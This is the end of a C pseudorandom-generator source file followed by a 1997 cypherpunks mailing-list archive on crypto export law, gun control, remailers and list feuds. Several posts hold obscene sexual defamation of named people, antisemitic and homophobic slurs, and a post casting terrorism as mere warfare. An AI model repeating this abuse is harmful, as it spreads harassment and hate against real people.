        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;

        return;
}
//  sum at 10 million iterations = 1344076334


/*
// Slightly faster than the above on a 604, provided CodeWarrior's
instruction-scheduling "optimization" is OFF.

static void refillShiftRand() {

        unsigned long  * tap0a  = shiftRandArray + 0;
        unsigned long  * tap0b  = shiftRandArray + 1;  // uses more registers
        unsigned long  * tap13a = shiftRandArray + 13;
        unsigned long  * tap13b = shiftRandArray + 14;

        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a =  shiftRandArray;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b = (shiftRandArray +
1);
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;
        *tap0a = *tap0a + *tap13a;

        return;
}
//  sum at 10 million iterations = 1344076334
*/

// The array-filling mechanism above provides an information-conserving
mechanism for producing
// pseudorandom numbers with an effectively unlimited repeat period, fast,
but based on a large number of
// internal state bits, and having a bit of a given order eventually depend
on all bits of the same or
// lower order in all words in the array.
//    Rare, transient states having almost all zeros in the low bits will
show strong correlations,
// since the restoration of normal bit statistics will take several cycles.
(The all-zero state
// is inaccessible unless it is the starting condition -- one might test
for this.)  Correlations
// in the frequency of low-order zero bits in sequentially generated array
elements are eliminated
// in the output by xoring high bits with the low bits; adding a preceding
squaring operation
// adds the effect of making any given output consistent with a large
number of array element states,
// making inferences regarding the internal state of the system relatively
difficult.

inline unsigned long shiftRand() {

        ((arrayPtr == end) ?                     // '?:' instead of 'if' to
enable inlining by CW compiler
                  (refillShiftRand(),
                   arrayPtr = shiftRandArray,
                   0) : 0);
        unsigned long output = *arrayPtr++;
        unsigned long square = output * output;  // this multiplication
seems free on a 605
        return(square + (output >> (WORD_SIZE / 2)));
}

// With multiplication (above) and summing of output to prevent bogus
optimizations, 16.5 clocks per word.
// Test code for CodeWarrier environment.

void main () {

        SIOUXSettings.asktosaveonclose = FALSE;

        unsigned long sum = 0;
        seedShiftRand(12345);                    // easily guessed seed
        long start = clock();
        for (long i = 0; i < 2000000; i++) {
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
        }
        unsigned long end = clock();
        printf("\n sum = %u", sum);
        printf("\n\n time = %d \n", (int)(1000.0 * ((float)(end - start) /
(float)CLOCKS_PER_SEC)));

}







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 5 May 1997 23:10:29 +0800
To: cypherpunks@cyberpass.net
Subject: Problems with posts
Message-ID: <199705051451.JAA00342@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hmmmm I seem to be having some problems with getting my messages posted to
the list (at least they are not showing up back here). :(

This is just a test so please ignore.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Win3.1? For fast relief call 800-3-IBM-OS2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM24DHo9Co1n+aLhhAQFQAwP+L3AXu9AbQsCuaNroI3UfuyAKGO70MiMM
MD4bxRENaBwRc4A1aU6QsZosbuyRZfOZqCQ67ANI7Ecowfij9rc92wOvl+ePhYjS
ObvDdDoDRpDqBDQ8oVimDkIwXJ8z79xxK6s3F0uevSb4pSlz3MZHrf+BoDxc5L1u
mA403n2n+W8=
=cAdA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 6 May 1997 02:27:54 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <v03007802af93d4661cc8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:25 PM -0800 5/4/97, Kent Crispin wrote:
>On Mon, May 05, 1997 at 12:31:12AM -0500, snow wrote:
>> Kent Crispin wrote:
>> > AP? You apparently don't have direct knowledge of this, but after a
>> > certain level of economic security has been reached economics becomes
>> > a much less important as a motivator [Maslow].
>>
>> 	Bullshit:
>>
>> 	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.
>>
>> 	I would say that with economics, the _more_ you have the more
>> it motivates your life.
>
>And of course, Tim May, and John Gillmore.

Indeed, Maslow's hierarchy of needs is very much in line with what I see
all around me (and with Nietzsche's "will to power," of course).

The fact that I have spent many hours a day for almost 5 years on this and
related mailing lists, for which I've received not a dime of financial
benefit, ought to make clear that some things are more important than
making more money.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 5 May 1997 20:43:16 +0800
To: ichudov@algebra.com
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <199705041925.OAA30688@manifold.algebra.com>
Message-ID: <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > A ban on all handguns even when registered (currently all pistols above 
> > > .22 are banned and all guns have to be registered in a process whereby if 
> > > the applicant for a certificate has any history of political dissention 
> > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > > certificate will be refused.
> 
> What would be an example of such political dissention?

Well, I`m pretty sure that, having recently been involved in campaigns 
against the ban on handguns, written to a number of people in positions 
of power over the proposed TTP scheme in the DTI white paper etc. my 
firearms licence will not be renewed the next time it comes up for review.
The powers that be now presumably see me as a loon.

A damning enditement on the British people is that last time I mentioned 
to someone my having written to the home office and others over the 
proposed gun ban I was called a lunatic and told "The sort of person who 
writes to the home office over something like that is the least suitable 
to have a gun".

I can assure you this is not a one-off, this happens every time people who 
don`t shoot find out I do. They have been brainwashed by the 
tabloid press, for example, the daily mail ran a particularly vitriolic 
hate campaign against gun owners singling out Albie Fox, leader of the 
campaign against the ban, and calling him a "Gun obsessed lunatic".
This, recall, is the same daily mail which rants every day about the 
"evil of drugs" and how the only way to "save society" is to throw 
everyone who doesn`t support their particular brand of bigoted fanaticism 
into jail for the rest of their life.

And of course, one would imagine that those who actually owned guns and 
used them for sport themselves would be the most informed people who 
would realise that the criminal use of guns is at the opposite end of the 
scale to the sporting use allowed in British law. However, I know several 
people who have said "I`m happy to give up my guns if it will save 
lives", to this I simply reply "who were you going to kill?" then walk 
away, these people don`t even deserve correcting as their bullshit is so 
deep.

In addition, when the police revoke or refuse to renew a firearms 
certificate, they do not need to give a reason, so one cannot even prove 
that it was because of speech or opinions they didn`t like that they 
revoked the certificate. Even if you could, it is unlikely a challenge in 
court would succeed, the UK does not have the same free speech guarantees 
as are given in the US and elsewhere, and any court challenge would fail, 
of that I am sure.

Also, to worsen the situation, the labour party has now come to power and 
as I have already explained in a previous post this make matters even worse.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 02:14:09 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705030048.TAA15456@mailhub.amaranth.com>
Message-ID: <199705051749.KAA19491@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > And I don't understand why you did not respond to this point when
> > I brought it up earlier.  This area is MOST CERTAINLY NOT free of
> > legislation.  Have you tried to openly export a IDEA- or
> > 3DES-based non-key-recovery (real commercial) product lately?
> > Have you set up an open, publically announced FTP site where
> > anyone can freely fetch strong encryption sources?  If not, then
> > explain why, if there is no legislation on this matter, couldn't
> > you do it?
>
> Well I can't speak for Tim's actions in this area but I can say that
> I have made strong crypto available for download via the INet. And I
> ahev openly announced that I have made such available on numerious
> newsgroups and mailing lists.
>
> http://www.amaranth.com/~whgiii/pgpmr2.html

Ok.  I'll give you a brownie point for an FTP site.  I honestly don't
think the NSA has time to go after a few, small-time, non-commercial
FTP sites, and I don't believe site maintainers like you have much to
lose on this matter.  The NSA is not as dumb as the Scientologists on
fighting a handful of individuals on the Net (most of whom can easily
get any job they want in the high tech industry, including charging
>$100 per hour consulting, so the NSA has almost no leverage, and the
backlash is even worse).

On the other hand, SGI, Sun, HP, IBM, AT&T, etc. have much more to
lose than you do.  They have huge government contracts (which they
coincidentally announced very soon after they signed up for the
key-recovery initiative), which the NSA can threaten.  They have other
export licenses (non-encryption-related) they need.

> There is no legislation on this matter only an unconstitutional
> presidental order.

Well, I'm not going to get technical here on just what is in effect.

A presidential order is often as good as a hard legislation.  In this
case, it is just as good.  And it's not just encryption.  Look at what
happened to SGI when several supercomputers were discovered to have
gone to China?  Again, it's just an execute order, not hard
legislation.  (And there are good reasons for giving the executive
branch executive priviledge, as there is no reason to micromanage
other branches of the government unless there is a serious issue.)
And this is what the administration argued for before enough
legislators thought it was a serious issue.

My conclusion on the issue of whether or not there is legislation on
this matter, is yes.  Is it technically a bill which passed congress?
No.  Is it some rule that some branch of government can use to harass
you?  Yes.  That's effective enough for me (in fact, it's worse,
because it is "more arbitrary").

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 03:06:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <v03007801af91e1128b39@[207.167.93.63]>
Message-ID: <199705051842.LAA21649@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > In short, they can get what they want instantly, while we cannot
> > except through a long and arduous process (during which they can
> > throw many procedural and lobbying obstacles to slow us down).
> > The process is clearly in THEIR favor (and not without good
> > reason), and we must face that fact.
>
> Yes, and they keep throwing out new proposals (Clipper I, II, and
> III, Key Recovery Initiative, Trusted Third Parties, blah blah).
> [SNIP]
> They can generate laws far faster than we can mount
> political counter-efforts
> [SNIP]

Yup.  But again, they are given that priviledge for good reasons, one
of which is that they are supposedly the "experts", whatever that
means.

> It's hopeless to fight them on their own turf, as they hold most of
> the cards (and we paid for them).

Amen.

> > It takes just one Om Shinri Kyo (sp?) in any nation to convince
> > its leaders to pass knee-jerk panic legislation in the name of
> > security, and it's the fault of politics at the beck and call of
> > human nature (not just stupid politicians).
>
> And this will happen regardless of whether SAFE passes or not. As
> several of us have pointed out, SAFE contains prominently mentioned
> provisions for the stoppage of crypto exports (and maybe even
> domestic distribution) should terrorism or military diversions be
> [SNIP]

I think this really depends upon how the "terrorism" cause is
determined.  If it is the arbitrary decision of the executive branch
alone, then we have to question why the Clinton administration still
believes we are under such imminent threat, and how this is different
from the critieria being imposed by the SAFE provisions.

> [SNIP]
> weeks. Had the World Trade Center bombs succeeded (in bringing down
> one of the towers), this would have done it. When freedom fighters
> ultimately succeed in, say, killing 5000 Londoners in a Sarin or
> Ricin attack in the Tube, expect dramatic moves in all Western
> nations to sharply curtail civil liberties.

I think we violently agree here, except for one-sided terminologies
like "freedom fighters" or "terrorists".

> There is no hope that legal measures can maintain liberty. Only
> technological bypasses of the State can succeed.

However, here is where we don't necessarily agree.  Laws are around to
allow some "civilized" co-existance, where "civilized" is defined by
the basic rights and liberties of members of that society.  It is
important to follow laws for what they are intended to do.  It is
important to have a viable process for questioning and revising laws
which do not have desired intent or effective control.  It is also bad
to have laws which do not clearly define what they restrict, and it is
here which I, and many others, do not like ITAR.

I don't buy the burden of multiple export version argument because
most software exports HAVE to have multiple export versions for other
reasons such as language, cultural considerations, etc ...

I don't completely like the first amendment argument because it is
solely based on claiming that software is, first and foremost,
expression.  In fact, software has mechanism and side effect of
mechanism.  If software were strictly expression, it is hard to
imagine how a multi-billion industry could have spawned from such an
inert practice.  Another example: one could argue that crafting an
grenade launcher is artistic expression, but surely few would consider
THAT argument when faced with such an "expressive" neighbor.  The
point here is that software, by itself, could never have the imminent
danger that a grenade launcher could have.  Therefore, it should be
incumbent upon the export regulators to prove that the software poses
imminent danger before they should be allowed to regulate export.

In that sense, I have no problems with restricting, for instance,
software which is specifically designed to, say, hide the transport of
nuclear weapons.  Of course, I have no idea how one could design a
piece of software to do that, but IF the DoC/DoD/NSA/FBI can prove
that a piece of software was designed primarily to do that, then I'll
be happy to allow them to restrict the export of THAT specific piece
of software.

On the other hand, most software, especially those that fall into the
freeware or shareware category on the Net, have proven to be of
significant positive contribution to society.  Encryption is a
fundamental element (not the only element) in protecting our Net.  In
addition, equivalent strength or better encryption is already
available outside the U.S., so the laws do not have any real effect on
the general spread of encryption, unless of course, we have any
legitimate interest in deliberately crippling the protection
mechanisms in GII.  If there is, it would have to be a one-sided and
government-only interest (and I know that these arguments are based on
outdated Cold War thinking).  Therefore, I must conclude that, while
there may have been reasons in the past for restricting encryption
export, it is no longer net positive value for the U.S., as a nation,
to restrict its export.

This is why I don't care if SAFE explicitly declares that using
encryption to hide a crime is illegal (though I don't see the need for
an explicit declaration).  As long as SAFE invalidates ITAR with
respect to encryption, then Americans no longer have to prove that
encryption exports are being used for "bad" purposes; now it is up to
law enforcement to prove that an export is being used for "bad"
purposes.

While that may sound like a small gain, it is a huge win for
encryption liberty.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 03:43:22 +0800
To: jimbell@pacifier.com (Jim Bell)
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705032005.NAA29515@mail.pacifier.com>
Message-ID: <199705051911.MAA21827@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > The NSA/FBI is NOT standing still while we are all bickering about
> > precisely which dotted-i and crossed-t to support.  They can, at
> > the stroke of Clinton's executive order pen, initiate effectively
> > THEIR law, while we must gather forces and summon Congress to jump
> > through enough hoops to pass effective legislation.
> >
> > In short, they can get what they want instantly, while we cannot
> > except through a long and arduous process (during which they can
> > throw many procedural and lobbying obstacles to slow us down).
> > The process is clearly in THEIR favor (and not without good
> > reason), and we must face that fact.
>
> Then let's force them to take that step, which (BTW) they haven't

Well, which "step" are you referring to?  The Clinton administration
is quite skilled at PR, and their intent is to project the image of
"middle of the road" and "balanced".  Of course, those are meaningless
words, but they sound real good in the context of the opponents being
painted as extremists.  For instance, take a look at the words which
the administration's appointee's use.  Bruce Lehman, et al have all
liken their opponents to David Koresh and other groups considered to
be extreme by the general public.

So far, the only high-profile "steps" they have taken is to put out
more Clipper-esque execute orders and call them "compromises".  These
are just maneuvers, but they still are effective executive orders,
none the less.

> done already.  They are well aware of the highly questionable
> constitutional nature of such a system, and I'm sure they're

That is why they back off prosecuting Zimmerman.  I don think they saw
a lose-lose scenario there, and decided it was better to leave the law
ambiguous rather than let it become well-defined, in the best case.

> worrying that not only would such an executive order galvanize
> opposition to such a plan, it would also delay for a year or two the

Ok, so are you saying that they did not make a totally one-sided
executive order without consulting ANYONE?  Sure, I agree that they
did not do that.  However, that would be silly, as it would not appear
convincing when they claim "middle of the road".

In fact, they still got what they wanted anyway (except for the
arbitrary key recovery which the NSA can do with the Clipper).  The
point here is that Joe-Small-Town sheriff needs the cost/speed/stealth
requirements of applying two aligator clips to get a wire tap, and
they got it.

> perceived "need" for the legislation they currently (and secretly)
> seek.  By the time the executive order is overturned by the SC,
> it'll be too late to restore it as Congressional legislation.

Yes, this is the point of the PR.  Keep the opposition from having a
major rallying point.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 6 May 1997 04:29:11 +0800
To: cypherpunks@cyberpass.net
Subject: Terrorists or Freedom Fighters or Rebels?
In-Reply-To: <v03007801af91e1128b39@[207.167.93.63]>
Message-ID: <v03007804af93f2a537ec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM -0800 5/5/97, Ernest Hua wrote:

>> weeks. Had the World Trade Center bombs succeeded (in bringing down
>> one of the towers), this would have done it. When freedom fighters
>> ultimately succeed in, say, killing 5000 Londoners in a Sarin or
>> Ricin attack in the Tube, expect dramatic moves in all Western
>> nations to sharply curtail civil liberties.
>
>I think we violently agree here, except for one-sided terminologies
>like "freedom fighters" or "terrorists".

I've been trying consciously to use "freedom fighter" in nearly all cases
where the Administration would use "terrorist." It causes people to
sometimes do a double take, and think more closely about the underlying
issues.

In fact, many of the world's so-called "terrorists" are in fact fighting
for some form of liberation from colonialists, corporations who bought up
land from corrupt dictators, and so on. We could argue whether the IRA is a
"freedom fighting" group, given that Protestants are in a majority in
Northern Ireland, but then we'd have to also consider the British policies
which encourgaged migration of Protestants to Ireland, etc.

(Are American Indians who fight for basic rights, and for enforcement of
treaties, terrorists or freedom fighters? Or something else? Or do labels
matter?)

And what about the "freedom fighters" in the jungles of Burma (Myanmar)
Phil Zimmermann likes to cite as critical users of PGP? By the standards of
the official government of Burma, these folks are terrorists. (They blow up
bridges, derail trains, etc.)

I usually cite these rebels as obvious examples of terrorists using strong
crypto. And by the fact that Phil Z. advertises the use of PGP by these
terrorists, I submit that SAFE could be invoked so as to halt international
exports of PGP by using the clause which says:

" The Secretary shall authorize the export or reexport of software with
encryption capabilities for nonmilitary end-uses ...unless there is
substantial evidence that such software will be...diverted to a military
end-use or an end-use supporting international terrorism...[or]...modified
for military or terrorist end-use..."

Slam dunk! "PGP being used by terrorists in Burma...license for export denied."


(And there's no way to bring in such sophistry as "legitimate governments."
The government of Burma is not substantially less legitimate than are
hundreds of other governments.)

"Terrorism" is just another mode of warfare.

(If the argument is that terrorism involves attacks on civilians, what were
the firebombings of Dresden (300,000 German civilians killed) and Tokyo
(200,000 killed), not to mention Hiroshima. And so on. Most arguments
purporting to prove that various "terrorist" groups are not legitimate
freedom fighters will turn up such inconsistencies.)

The State of Israel got a big boost from terrorism, with the Stern Gang
bombing British barracks, bridges, etc. Begin was even a member.

And so it goes.

--Tim May, referred to as an "info-terrorist" by one government guy


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 6 May 1997 03:21:53 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Firewalls
In-Reply-To: <199705051712.TAA17277@basement.replay.com>
Message-ID: <Pine.A41.3.95.970505125601.170060A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997, Anonymous wrote:

> On Sun, 4 May 1997, Anonymous wrote:

Vulis does your wife,no you write this?

> Vulis does you wife no you write this?
> 
> > Timmy Mayo the self-admitted child molester 
> > possesses a rudimentary dick less than one 
> > inch long, half the size of Graham-John Bullers' 
> > clitoris, that barely makes a fistful. Thereby 
> > hangs the root of this Jew-hating sissy's sick 
> > fixation on little boys and Usenet forgeries.
> > 
> >          \|||/
> >          (o o)
> >      -ooO-(_)-Ooo- Timmy Mayo
> > 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 6 May 1997 01:28:59 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: (Fwd) Extropia dead
Message-ID: <3.0.1.32.19970505130927.007b6e60@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Mailing-List: contact pgp-users-help@joshua.rivertown.net; run by ezmlm
>Reply-To: pgp-users@joshua.rivertown.net
>Comments: Authenticated sender is <fredr@[204.141.41.5]>
>From: "Fred B. Ringel" <fredr@[204.141.41.5]>
>Organization: Rivertown.Net
>To: pgp-users@joshua.rivertown.net
>Date: Mon, 5 May 1997 12:52:57 -0500
>Subject: (Fwd) Extropia dead
>Priority: normal
>
>Hi all-
>
>	Thought I'd pass this *bad* news along. :-((
>
>		Fred
>------------------------------------------
>Date: Mon, 5 May 1997 00:39:36 -0700 (PDT)
>From: Miron <miron@best.com>
>
>Due to best.com (Best Internet) policies
>remail@miron.vip.best.com has been shut down.
>You will only received one notice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 6 May 1997 02:38:08 +0800
To: cypherpunks@toad.com
Subject: Re: Insults about C2Net
In-Reply-To: <v03007800af93ca8bcc21@[207.167.93.63]>
Message-ID: <4sR96D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
>
> >I really knew what specific actions caused people to have such a NASTY
> >opinion of C2net.

As if he forgot...

> This is an easy one. The only continuing insults I see come from Vulis.

How would you know, old fart?  You've announced that you killfile me and
a dozen other people who know C2Net for what they are.  Therefore you
can't "see" anything coming from me, unless you're lying again.

> But the C2Net flap is behind us.

Yeah, right.  That's coming from the same individual who didn't object
to C2Net's "moderation" of this mailing list when Cocksucker John Gilmore
announced it, and who also supported Cocksucker John Gilmore's forcibly
unsubscribing me from the mailing list by repeating his lies about
the "volume", not the "contents" of my writings that got my plug pulled,
alluding to the bogus numbers like "50 articles / day" and "megabytes
of Serdar Argic reposts [about the genocide of 2 million Moslems and
Sephardic Jews by the Armenians]".

Timmy, you're a liar.

> As for stores asking for personal info, this is unsurprising. Fortunately,
> one can always refuse to give it, or lie, or just shrug. No laws yet demand
> this information be given (except for sales of guns and other such
> almost-contraband). Stores seek information for marketing, for decisions on
> placement of new stores (which is why zip codes are sometimes asked for),
> etc.

If the Arab terrorist Sameer "Gas All Kikes" Parekh and his obsequitous
lackeys Greg Broils and Sandy Sandfart and their NSA bosses had it their
way, you'd have to show your Federal ID card every time you pay cash and
also record the serial numbers on the notes. (I understand that recording
the serial numbers is the standard practice in some countries.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 6 May 1997 04:58:16 +0800
To: cypherpunks@toad.com
Subject: Controversial Commercial ISP for Remailer?Controversial Commercial ISP for Remailer?
Message-ID: <199705052033.NAA26438@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Suppose you wanted a commercial ISP to run a Winsock middleman remailer on.
An ISP that was tolerant of the kinds of abuse and SPAM that remailers 
occasionally suffer from.  An ISP who'd take your money and leave you alone. 
An ISP who wouldn't drop your account because of bad publicity. 
An ISP that could be a stable anchor for a remailer system,
and maybe even for web-page remailers.

Well, such an ISP exists, but there's a catch.  It's Cyberpromo.com --
An ISP whose reputation capital was already so LOW that another 
gigabyte of flames to the postmaster wouldn't really be noticed.  
The good news is that service is pretty cheap - $50/2yrs POP+autoresponder,
or $39 one-time for a mail forwarder.  Don't know if he takes anonymous 
accounts, but probably does, since money orders are more reliable than most 
of his customers :-)  Also don't know how he'd respond to subpoenas and 
warrants (probably quickly?) or wiretap requests (he's not a telco), 
or how long before he'll be assassinated or banned or IDPd.

The bad news, of course, is that Spamford's negative reputation rubs off
on the whole remailer system, and you risk a lot more spamming and
anti-spammer attacks on your remailer (hence more administration work),
and you risk raising Spamford's public image, and it does involve
giving money to Spamford, which could be viewed as rewarding bad behaviour.
You'd probably want to limit the remailer to one email destination per 
message to cut down on spamming.

			Spambert
			
			Greasy Fingerprint A0 D0 31 DF 62 85 19 0A
					   A6 95 EA 85 A9 64 1B 7E


-----BEGIN PGP SIGNATURE-----
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#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 6 May 1997 04:34:04 +0800
To: cypherpunks@toad.com
Subject: Re: Insults about Vulis
Message-ID: <199705051953.NAA05074@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
>
> At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
> >I really knew what specific actions caused people to have such a NASTY
> >opinion of C2net.
>
> This is an easy one. The only continuing insults I see come from Vulis. No
> further explanation is needed.
> (One wonders why Vulis does not simply program one of his insultbots to
> spew out a daily insult.)

  Tim should try to keep in mind that his vision is limited
due to his generous use of self-censorship. Were it not so,
then he might be aware of more than a few people who regard
StrangleHold's empire with suspicion.
  I suppose that Mr. May regards Tom Weinstein, of Nut$crape, as
just another Vulis tenacle. Or perhaps Mr. Weinstein is in Tim's
killfile.

  Of course, Tim lets us all know that once he has spoken from
upon high, that there is nothing more to be said in the matter.
  Perhaps Tim could ask Vulis, a programmer, to send him an
insultbot to compose his Vulissaults.
  Or perhaps he could take the time to scan all the list posts
and get a realistic view of list opinions and attitudes before
he speaks out.
  Or perhaps he could stop to think about how much criticism
of C2Nut's products is blunted by their censorship of other
lists and their gang of legal-eagle thugs.

  [Please note that "Blame it all on Vulis," a favorite cypherpunk
game, is not sold in stores.]

> But the C2Net flap is behind us. The continuing claims that it was C2Net
> which instructed Gilmore to remove Vulis are incorrect-

  Once again, Tim speaks of things of which he has, by his own
admission, little knowledge, since he claims to have only lightly
perused a precious few of the articles from this time period.
  Both John and Sandy stated that it was Sandy SameerFart who
approached John with the offer of moderation/censorship.
  Robert Hettinga belatedly proposed that it was he who
suggested the idea to Sandy (about the same time that Bob was
coming into some cash and reputation capital promoting C2Nut's
pet projects).

  While I anxiously await most of Mr. May's posts with eager
anticipation, I think it might be wise of him to consult the
archives regarding those things which transpired during his
absence from the list, before speaking out so strongly on
the issues involved (particularly if he is going to give the
impression that once he has spoken, there is nothing more
to be said).

FactMonger

-- 
Toto
